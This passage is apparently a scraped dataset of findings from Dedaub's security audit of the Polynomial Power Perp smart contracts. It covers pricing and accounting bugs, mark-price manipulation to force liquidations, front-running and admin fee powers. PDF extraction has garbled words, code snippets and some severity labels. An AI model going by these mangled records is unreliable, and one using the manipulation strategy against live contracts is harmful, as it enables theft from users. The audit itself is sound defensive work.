by a call to the function maxLiquidatableDebt that checks the validity of the mark price.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: High" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "LP token price might be incorrect OPEN LiquidityPool::getTokenPrice, the function that computes the price of one LP token, might return an incorrect price under certain circumstances. Specically, it is incorrectly assumed that if the skew is equal to 0 the totalMargin and usedFunds will always add up to 0. LiquidityPool::getTokenPrice() function getTokenPrice() public view override returns (uint256) { if (totalFunds == 0) { return 1e18; } uint256 totalSupply = liquidityToken.totalSupply() + totalQueuedWithdrawals; int256 skew = _getSkew(); if (skew == 0) { // Dedaub: Incorrect assumption that if skew == 0 then // return totalFunds.divWadDown(totalSupply); totalMargin + usedFunds == 0 } (uint256 markPrice, bool isInvalid) = getMarkPrice(); require(!isInvalid); uint256 totalValue = totalFunds; uint256 amountOwed = markPrice.mulWadDown(powerPerp.totalSupply()); uint256 amountToCollect = markPrice.mulWadDown(shortToken.totalShorts()); uint256 totalMargin = _getTotalMargin(); totalValue += totalMargin + amountToCollect; totalValue -= uint256((int256(amountOwed) + usedFunds)); return totalValue.divWadDown(totalSupply); The accounting of LiquidityPools queued orders is OPEN incorrect }", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: High" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "does not set the queuedPerpSize storage variable to 0 when an order of size sizeDelta + queuedPerpSize is submied to the Synthetix Perpetual Market. Also, queuedPerpSize should also be accounted for in the SubmitDelayedOrder emied event. LiquidityPool::_placeDelayedOrder() function _placeDelayedOrder( int256 sizeDelta, bool isLiquidation ) internal { PerpsV2MarketBaseTypes.DelayedOrder memory order = perpMarket.delayedOrders(address(this)); (,,,,, IPerpsV2MarketBaseTypes.Status status) = perpMarket.postTradeDetails(sizeDelta, 0, IPerpsV2MarketBaseTypes.OrderType.Delayed, address(this)); int256 oldSize = order.sizeDelta; if (oldSize != 0 || isLiquidation || uint8(status) != 0) { queuedPerpSize += sizeDelta; return; } perpMarket.submitOffchainDelayedOrderWithTracking( sizeDelta + queuedPerpSize, perpPriceImpactDelta, synthetixTrackingCode ); // Dedaub: queuedPerpSize should be set to 0 // Dedaub: Below line should be: // emit SubmitDelayedOrder(sizeDelta); emit SubmitDelayedOrder(sizeDelta + queuedPerpSize); }", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: High" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "mark price is susceptible to manipulation OPEN The mark price depends on the total sizes of the long and short positions. ShortCollateraltoken::canLiquidate and maxLiquidatableDebt use the mark price to compute the value of the position and to check if the collateralization ratio is above the liquidation limit or not. An adversary could open a large short position to increase the mark price and therefore decrease the collateral ratio of all the positions and possibly make some of them undercollateralized. The adversary would then proceed by calling Exchanges liquidate function to liquidate the underwater position(s) and get the liquidation bonus before nally closing their short position.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: High" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "of usedFunds and totalFunds is incorrect OPEN The LiquidityPool contract uses two storage variables to track its available balance, usedFunds and totalFunds. As one would expect, these two variables get updated when a position is open or closed, i.e., when functions openLong, openShort, closeLong and closeShort are called. Incoming (openLong and closeShort) and outgoing (openShort and closeLong) funds for the position must be considered together with funds needed for fees. There are 3 types of fees, trading fees aributed to the LiquidityPool, fees required to open an oseing position in the Synthetix Perp Market, which are called hedgingFees, and a protocol fee, externalFee. The accounting of all these values is rather complex and ends up being incorrect in all the four aforementioned functions. Lets take the closeLong function as an example. In closeLong there are no incoming funds and the outgoing funds are the sum of the totalCost, the externalFee and the hedgingFees. However, the usedFunds are actually increased by tradeCost or totalCost+tradingFee+externalFee+hedgingFees, while hedgingFees are also added to usedFunds in the _hedge function. Thus, there are two issues: (1) hedgingFees are accounted for twice and (2) tradingFee is added when it should not. LiquidityPool::closeLong() function closeLong(uint256 amount, address user, bytes32 referralCode) external override onlyExchange nonReentrant returns (uint256 totalCost) { } (uint256 markPrice, bool isInvalid) = getMarkPrice(); require(!isInvalid); uint256 tradeCost = amount.mulWadDown(markPrice); uint256 fees = orderFee(-int256(amount)); totalCost = tradeCost - fees; SUSD.safeTransfer(user, totalCost); uint256 hedgingFees = _hedge(-int256(amount), false); uint256 feesCollected = fees - hedgingFees; uint256 externalFee = feesCollected.mulWadDown(devFee); SUSD.safeTransfer(feeReceipient, externalFee); tradeCost = totalCost + fees fees = feesCollected + hedgingFees and feesCollected = tradingFee + externalFee // Dedaub: usedFunds is incremented by tradeCost // // // usedFunds += int256(tradeCost); emit RegisterTrade(referralCode, feesCollected, externalFee); emit CloseLong(markPrice, amount, fees); The functions openLong, openShort and closeShort suer from similar issues. H6 There might not be enough incentives for liquidators to OPEN liquidate unhealthy positions Collateralized short positions opened via the Exchange can get liquidated. For a liquidatable position of size N the liquidator has to give up N PowerPerp tokens for an amount of short collateral tokens equaling the value of the position plus a liquidation bonus. Thus, a user/liquidator is incentivized to liquidate a losing position instead of just closing their position, as they will get a liquidation bonus on top of what they would get. However, the liquidator might not always get paid an amount of short collateral tokens equaling the value of the position plus a liquidation bonus according to the following condition in function ShortCollateral::liquidate: ShortCollateral::liquidate() totalCollateralReturned = liqBonus + collateralClaim; if (totalCollateralReturned > userCollateral.amount) totalCollateralReturned = userCollateral.amount; As can be seen, if the value of the position plus the liquidation bonus, or totalCollateralReturned, is greater than the positions collateral, the liquidator gets just the positions collateral. This means that if during a signicant price increase liquidations do not happen fast enough, certain losing positions will not be liquidatable for a prot, as the collaterals value will be less than that of the long position that needs to be closed. However, such a market is not healthy and this is reflected in the mark price, which lies in the center of the protocol. To avoid such scenarios (1) the collateralization ratios need to be chosen carefully while taking into account the squared nature of the perps and (2) an emergency fund should be implemented, which will be able to chip in when a position's collateral is not enough to incentivize its liquidation. 9 MEDIUM SEVERITY: ", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: High" - ] - }, - { - "title": "are not able to set a minimum amount of collateral that they expect from a liquidatio ", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": " OPEN Function Exchange::_liquidate does not require that totalCollateralReturned, i.e., the collateral awarded to the liquidator, is greater than a liquidator-specied minimum, thus in certain cases the liquidator might get back less than what they expected (as mentioned in issue H6). This might happen because the collateral of the position is not enough to cover the liquidations theoretical collateral claim (bad debt scenario) plus the liquidation bonus. As can be seen in the below snippet of the ShortCollaterals liquidate function, the totalCollateralReturned will be at most equal to the collateral of the specic position. ShortCollateral::liquidate() function liquidate(uint256 positionId, uint256 debt, address user) external override onlyExchange nonReentrant returns (uint256 totalCollateralReturned) // Dedaub: Code omitted for brevity uint256 collateralClaim = debt.mulDivDown(markPrice, collateralPrice); uint256 liqBonus = collateralClaim.mulWadDown(coll.liqBonus); totalCollateralReturned = liqBonus + collateralClaim; // Dedaub: This if statement can reduce totalCollateralReturned to // if (totalCollateralReturned > userCollateral.amount) totalCollateralReturned = userCollateral.amount; something smaller than expected by the liquidator { 1 userCollateral.amount -= totalCollateralReturned; // Dedaub: Code omitted for brevity }", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "funds are not optimally managed OPEN Function KangarooVault::_clearPendingOpenOrders determines if the previous open order has been successfully executed or has been canceled. In case the order has been canceled, the opposite exchange order is closed and the KangarooVault position data are adjusted to how they were before opening the order. However, the margin transferred to the Synthetix Perpetual Market, which was required for the position, is not revoked, meaning that the KangarooVault funds are not optimally managed. At the same time, when a pending close orders execution is conrmed in the function _clearPendingCloseOrders, the margin deposited to the Synthetix Perpetual Market is not reduced accordingly except when positionData.shortAmount == 0. The KangarooVault funds could also be suboptimally managed because the function KangarooVault::_openPosition does not take into account the already available margin when calculating the margin needed for a new open order. If the already opened position has available margin the KangarooVault could use part of that for its new order and transfer less than what would be needed if there was no margin available.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "and KangarooVault could be susceptible OPEN to bank runs The LiquidityPool and KangarooVault contracts could be susceptible to bank runs. As these two contracts can use up to their whole available balance, liquidity providers might rush to withdraw their deposits when they feel that they might not be able to withdraw for some time. At the same time, depositors would rush to withdraw if they 1 realized that the pools Synthetix position is in danger and their funds that have been deposited as margin could get lost. A buer of funds that are always available for withdrawal could increase the trust of liquidity providers to the system. Also, an emergency fund, which is built from fees and could help alleviate fund losses, could also help make the system more robust against bank run scenarios.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "users might be more vulnerable in a bank run OPEN In a bank run situation casual users of the LiquidityPool (i.e., users that interact with it through the web UI) might not be able to withdraw their funds. This is because the LiquidityPool oers dierent withdrawal functionality for dierent users. Power users (or protocols that integrate with the LiquidityPool) are expected to use the withdraw function, which oers immediate withdrawals for a small fee, while casual users that use the web UI will use the queueWithdraw function, which queues the withdrawal so it can be processed at a later time.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "ER", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "in LiquidityPool::withdraw OPEN Function LiquidityPool::withdraw uses a plain ERC20 transfer without checking the returned value, which is an unsafe practice. It is recommended to always either use OpenZeppelin's SafeERC20 library or at least to wrap each operation in a require statement.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Critical" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "withdrawal calculations in KangarooVault OPEN Function processWithdrawalQueue processes the KangarooVaults queued withdrawals. It rst checks if the available funds are suicient to cover the withdrawal. If not, a partial withdrawal is made and the records are updated to reflect that. The QueuedWithdraw.returnedAmount eld holds the value that has been returned to the 1 user thus far. However, it doesn't correctly account for partial withdrawals as the partial amount is being assigned to instead of being added to the variable. KangarooVault::processWithdrawalQueue() function processWithdrawalQueue( uint256 idCount ) external nonReentrant { for (uint256 i = 0; i < idCount; i++) { // Dedaub: Code omitted for brevity // Partial withdrawals if not enough available funds in the vault // Queue head is not increased if (susdToReturn > availableFunds) { // Dedaub: The withdrawn amounts should be accumulated in // current.returnedAmount = availableFunds; ... returnedAmount instead of being directly assigned } else { // Dedaub: Although this branch is for full withdrawals, there // // current.returnedAmount = susdToReturn; ... may have been partial withdrawals before, so the accounting should also be cumulative here } queuedWithdrawalHead++; } }", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "exposure calculation may be inaccurate OPEN The Synthetix Perpetual Market has a two-step process for increasing/decreasing positions in which a request is submied and remains in a pending state until it is executed by a keeper. 1 LiquidityPool::_getExposure does not consider the queued Synthetix Perp position tracked by the queuedPerpSize storage variable meaning that LiquidityPool::getExposure will return an inaccurate value when called between the submission and the execution of an order. LiquidityPool::_getExposure() function _getExposure() internal view returns (int256 exposure) { // Dedaub: queuedPerpSize should be considered in currentPosition int256 currentPosition = _getTotalPerpPosition(); exposure = _calculateExposure(currentPosition); } LiquidityPool::rebalanceMargin does not consider queuedPerpSize too. The Polynomial team has mentioned that they plan to always call placeQueuedOrder before calling rebalanceMargin, thus adding a requirement that queuedPerpSize is equal to 0 would be enough to enforce that prerequisite. M8 LiquidityPool::_hedge always adds margin to OPEN Synthetix The function LiquidityPool::_hedge is responsible for hedging every position opened against the LiquidityPool by opening the opposite position in the Synthetix Perp Market. In doing so, _hedge transfers an amount of funds to the Synthetix Perp Market to be used as margin for the position. However, margin does not need to be increased always, e.g., it does not need to be increased when the Synthetix Perp position is decreased because the LiquidityPool is hedging a long Position and thus goes short. When the absolute position size of the LiquidityPool in the Synthetix Perp Market is decreased, the LiquidityPool could remove the unnecessary margin or abstain from increasing it to account for the rare case where a Synthetix order is not executed. This together with frequent calls to the rebalanceMargin function would help improve the capital eiciency of the LiquidityPool. 14 LOW SEVERITY: ", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Medium" - ] - }, - { - "title": "that use invalid values could be avoide ", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": " OPEN Functions getIndexPrice, getFundingRate and getMarkPrice of the Exchange contract depend on the externally provided base asset price that could be invalid in some cases. Even if the base asset price provided is invalid, a tuple (value, true) is returned where value is the value computed based on the invalid base asset price. However, if the base asset price is invalid, the tuple (0, true) could be returned while the whole computation is skipped to save gas unnecessarily spent on computing an invalid value.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "critical requirement is enforced by dependency code OPEN Function Exchange::_openTrade, when called with params.isLong set to false and params.positionId dierent from 0, does not check that the msg.sender is the owner of the params.positionId short token position. This necessary requirement is later checked when ShortToken::adjustPosition is called. Nevertheless, we would recommend adding the appropriate require statement also as part of the function _openTrade as it is the one querying the position. This would also add an extra safeguard against a future code change that accidentally removes the already existing require statement.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "critical requirement is enforced by the ER", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "OPEN In function LiquidityPool::closeLong, as in openShort, there is an outgoing flow of funds. However, there does not exist a require statement on the existence of the needed funds as in the openShort function. Of course, if there are not enough funds to be transferred out of the LiquidityPool contract the ERC20 transfer code will cause a revert. Still, requiring that usedFunds<=0 || totalFunds>=uint256(usedFunds) 1 makes the code more failproof. The same could be applied on function rebalanceMargin where there is an outgoing flow of funds towards the Synthetix Perp Market.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Critical" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "critical requirement is enforced by callee code OPEN Function ShortCollateral::collectCollateral does not require that the provided collateral is approved (and matches the collateral of the already opened position). This could be problematic, i.e., a non-approved worthless collateral could be deposited instead, if every call to collectCollateral was not coupled with a call to getMinCollateral which enforces the aforementioned requirement. Implementing these requirements would constitute a step towards a more defensive approach, one that would make the system more bulletproof and robust even if the codebase continues to evolve and become more complicated.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "approvals cannot be revoked OPEN The ShortCollateral contract does not implement any functionality to revoke collateral approvals, meaning that the contract owner cannot undo even an incorrect approval and would need to redeploy the contract if that were to happen. Implementing such functionality would require a lot of care to ensure no funds (collateral) are trapped in the system, i.e., cannot be withdrawn, due to the collateral approval being revoked and the withdrawal functionality being operational only for approved collaterals.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "events are emied for several interactions OPEN In LiquidityPool::processWithdrawals there is no event emied when a withdrawal is aempted but there are 0 funds available to be withdrawn. In LiquidityPool::setFeeReceipient there is no event emied even though a relevant event is declared in the contract (event UpdateFeeReceipient) 1 In LiquidityPool::executePerpOrders there is no event emied when the admin executes an order In KangarooVault::executePerpOrders there is no event emied when the admin executes an order In KangarooVault::receive there is no event emied when the contract receives ETH in contrast to the LiquidityPool that emits an event for this", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "of minimum deposit and withdraw amount checks allow users to spam the queues with small requests OPEN In LiquidityPool, users can request to deposit or withdraw any amount of tokens by calling the queueDeposit and queueWithdraw functions. Although there are checks in place to avoid registering zero-amount requests, there are no checks to ensure that someone cannot spam the queue with requests for innitesimal amounts. LiquidityPool::queueDeposit() function queueDeposit(uint256 amount, address user) external override nonReentrant whenNotPaused(\"POOL_QUEUE_DEPOSIT\") { } require(amount > 0, \"Amount must be greater than 0\"); // Dedaub: Add a minDepositAmount check QueuedDeposit storage newDeposit = depositQueue[nextQueuedDepositId]; ... LiquidityPool::queueWithdraw() function queueWithdraw(uint256 tokens, address user) external 1 override nonReentrant whenNotPaused(\"POOL_QUEUE_WITHDRAW\") { } require(liquidityToken.balanceOf(msg.sender) >= tokens && tokens > 0); // Dedaub: Add a minWithdrawAmount check ... QueuedWithdraw storage newWithdraw = withdrawalQueue[nextQueuedWithdrawalId]; ... Even though there is no clear nancial incentive for someone to do this, an incentive would be to disrupt the normal flow of the protocol, and to annoy regular users, who would have to spend more gas until their requests were processed. However, the functions that process the queues can be called by anyone, including the admin, and users can also bypass the queues by directly depositing or withdrawing their tokens for a fee. KangarooVault suers from the same issue for withdrawals. For deposits, a minDepositAmount variable is dened and checked each time a new deposit call is made. KangarooVault::initiateDeposit() function initiateDeposit( address user, uint256 amount ) external nonReentrant { require(user != address(0x0)); require(amount >= minDepositAmount); ... } 1 KangarooVault::initiateWithdrawal() function initiateWithdrawal( address user, uint256 tokens ) external nonReentrant { require(user != address(0x0)); if (positionData.positionId == 0) { ... } else { require(tokens > 0, \"Tokens must be greater than 0\"); // Dedaub: Add a minWithdrawAmount check here QueuedWithdraw storage newWithdraw = withdrawalQueue[nextQueuedWithdrawalId]; ... } VAULT_TOKEN.burn(msg.sender, tokens); }", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "deposit and withdraw arguments are not OPEN validated LiquidityPools deposit and withdraw functions do not require that the specied user, which will receive the tokens, is dierent from address(0). The caller of the aforementioned functions might not set the parameter correctly or make the incorrect assumption that by seing it to address(0) it will default to msg.sender, leading to the tokens being sent to the wrong address. At the same time, the deposited/withdrawn amount is not required to be greater than 0.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "can be front-run OPEN The VaultToken contract declares the setVault function to solve the dual dependency problem between VaultToken and KangarooVault, as both require each 1 other's address for their initialisation. However, this function can be called by anyone, whereas the vault address can only be set once. As a result, we raise a warning here to emphasize that the VaultToken contract needs to be correctly initialized, as otherwise the call could be front-run or repeated (in case the initialization performed by the protocol team fails for some reason and the uninitialized variable remains unnoticed) to initialize the vault storage variable with a malicious Vault address. L10 LiquidityPool::closeShort should use mulWadUp too OPEN The closeShort function of the LiquidityPool contract has the same logic as openLong. openLong passes the rounding error cost to the user by using mulWadUp for the tradeCost calculation. However, closeShort does not adopt this behavior and uses mulWadDown for the same calculation. We recommend changing this to be the same as openLong. CENTRALIZATION ISSUES: It is often desirable for DeFi protocols to assume no trust in a central authority, including the protocols owner. Even if the owner is reputable, users are more likely to engage with a protocol that guarantees no catastrophic failure even in the case the owner gets hacked/compromised. We list issues of this kind below. (These issues should be considered in the context of usage/deployment, as they are not uncommon. Several high-prole, high-value protocols have signicant centralization threats.) ", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": " OPE In LiquidityPool, the admin has increased power over its position leverage and the margin that is deposited to or withdrawn from the Synthetix Perp Market. More specically: First of all, the admin can arbitrarily set the leverage through the LiquidityPools updateLeverage function. Essentially, the risk of the LiquidityPool can be arbitrarily increased. LiquidityPool::updateLeverage() function updateLeverage(uint256 _leverage) external requiresAuth { require(_leverage >= 1e18); emit UpdateLeverage(futuresLeverage, _leverage); futuresLeverage = _leverage; } LiquidityPool::_calculateMargin() function _calculateMargin( int256 size ) internal view returns (uint256 margin) { (uint256 spotPrice, bool isInvalid) = baseAssetPrice(); require(!isInvalid && spotPrice > 0); uint256 absSize = size.abs(); margin = absSize.mulDivDown(spotPrice, futuresLeverage); } The admin is also responsible for managing the margin of the pools Synthetix Perp position. Via the LiquidityPool::increaseMargin function, the admin can use up to the whole available balance of the pool. The logic that decides when the aforementioned function is called is o-chain. LiquidityPool::increaseMargin() function increaseMargin( 2 uint256 additionalMargin ) external requiresAuth nonReentrant { perpMarket.transferMargin(int256(additionalMargin)); usedFunds += int256(additionalMargin); require(usedFunds <= 0 || totalFunds >= uint256(usedFunds)); emit IncreaseMargin(additionalMargin); } Additionally, the LiquidityPool::rebalanceMargin function can be used to increase or decrease the pools margin inside the limits set by the pools leverage and the margin limits set by Synthetix. Again the logic that decides the marginDelta parameter and calls rebalanceMargin is o-chain. The KangarooVault suers from similar centralization issues. Nevertheless, the function setLeverage of the KangarooVault does not allow the admin to set the leverage to more than 5x. N2 LiquidityPool admin can drain all deposited funds by being able to arbitrarily set the fee percentages OPEN In LiquidityPool, there are several functions that only the admin can control and allow him to parameterise all fee variables, such as deposit and withdrawal fees. However, there are no limits imposed on the values set for these variables. LiquidityPool::setFees() function setFees( uint256 _depositFee, uint256 _withdrawalFee ) external requiresAuth { ... // Dedaub: We recommend adding checks for depositFee and withdrawalFee // to prevent unrestricted fee rates 2 depositFee = _depositFee; withdrawalFee = _withdrawalFee; } This means that the admin could change the deposit/withdrawal fee and have all the newly deposited/withdrawn funds moved to the feeRecipient address. Apart from the obvious centralisation issue, such checks could prevent huge losses in the event of a compromise of the admin account or the protocol itself. On the other hand, such checks have been used in the KangarooVault and thus we strongly recommend adding them to LiquidityPool as well. KangarooVault::setFees() function setFees( uint256 _performanceFee, uint256 _withdrawalFee ) external requiresAuth { require(_performanceFee <= 1e17 && _withdrawalFee <= 1e16); ... performanceFee = _performanceFee; withdrawalFee = _withdrawalFee; } The same applies for the following functions that also need limits on the possible values that can be set by the admin: LiquidityPool::updateLeverage() (see also N1 for an example) LiquidityPool::updateStandardSize() LiquidityPool::setBaseTradingFee() LiquidityPool::setDevFee() LiquidityPool::setMaxSlippageFee() 2 OTHER / ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them. ", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Informational" - ] - }, - { - "title": "requirements can be added ", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": " INFO Functions _addCollateral and _removeCollateral of the Exchange contract do not require that amount > 0. Function _liquidate does not require that debtRepaying > 0.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "does not check if the collateral is already approved INFO Function ShortCollateral::approveCollateral does not require that collateral.isApproved == false to disallow approving the same collateral more than once.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "can return early in some cases INFO In LiquidityPool::hedgePositions there is no handling of the case where newPosition is equal to 0 and the execution can return early.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "pause logic used in KangarooVault INFO Core contracts of the protocol such as LiquidityPool and Exchange inherit the PauseModifier and use separate pause logic on several functions. In contrast, KangarooVault, which has an implemented logic similar to LiquidityPool, inherits the PauseModifier but it does not use the whenNotPaused modier on any function.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "logic can be optimized to save gas INFO 2 In the functions LiquidityPool::processWithdraws and KangarooVault::processWithdrawalQueue, the LP token price is calculated in every iteration of the loop that processes withdrawals when in fact it does not change. Thus, the computation could be performed once, before the loop, to save gas.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "calls to LiquidityPool from KangarooVault INFO The functions removeCollateral and _openPosition of the KangarooVault contract, call LiquidityPool::getMarkPrice to get the mark price. However, this function only calls Exchange::getMarkPrice without adding any extra functionality. Therefore, we recommend making a direct call to Exchange::getMarkPrice from KangarooVault instead, to save some gas.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "could be made external INFO The following functions could be made external instead of public, as they are not called by any of the contract functions: Exchange.sol refresh orderFee LiquidityPool.sol LiquidityToken.sol PowerPerp.sol ShortToken.sol refresh ShortCollateral.sol SynthetixAdapter.sol refresh getMinCollateral canLiquidate maxLiquidatableDebt getSynth getCurrencyKey getAssetPrice getAssetPrice SystemManager.sol init setStatusFunction 2", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "overrides INFO All function and storage variable overrides in the Exchange, LiquidityPool, ShortCollateral and SynthetixAdapter contracts are redundant and can be removed.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "storage variables INFO There is a number of storage variables that are not used: Exchange:SUSD KangarooVault:maxDepositAmount LiquidityPool:addressResolver", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "variables can be made immutable INFO The following storage variables can be made immutable: SystemManager.sol SynthetixAdapter.sol addressResolver futuresMarketManager synthetix exchangeRates", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "is not used INFO The function liquidate of the LiquidityPool contract is not called by the Exchange, which is the only contract that would be able to call it. At the same time, this means that the LiquidityPool::_hedge function is always called with its second argument being set to false. Furthermore, if this function is maintained for future use, we raise a warning here that hedgingFees are accounted for twice. Once by LiquidityPool::_hedge and another one directly inside liquidate function. LiquidityPool::liquidate() function liquidate( 2 uint256 amount ) external override onlyExchange nonReentrant { ... uint256 hedgingFees = _hedge(int256(amount), true); // Dedaub: hedgingFees are double counted here usedFunds += int256(hedgingFees); emit Liquidate(markPrice, amount); }", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "code comment INFO The code comment of KangarooVault::saveToken mentions Save ER", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "from the vault (not SUSD or UNDERLYING) when there is no notion of an UNDERLYING token.", - "labels": [ - "Dedaub", - "Polynomial Power Perp 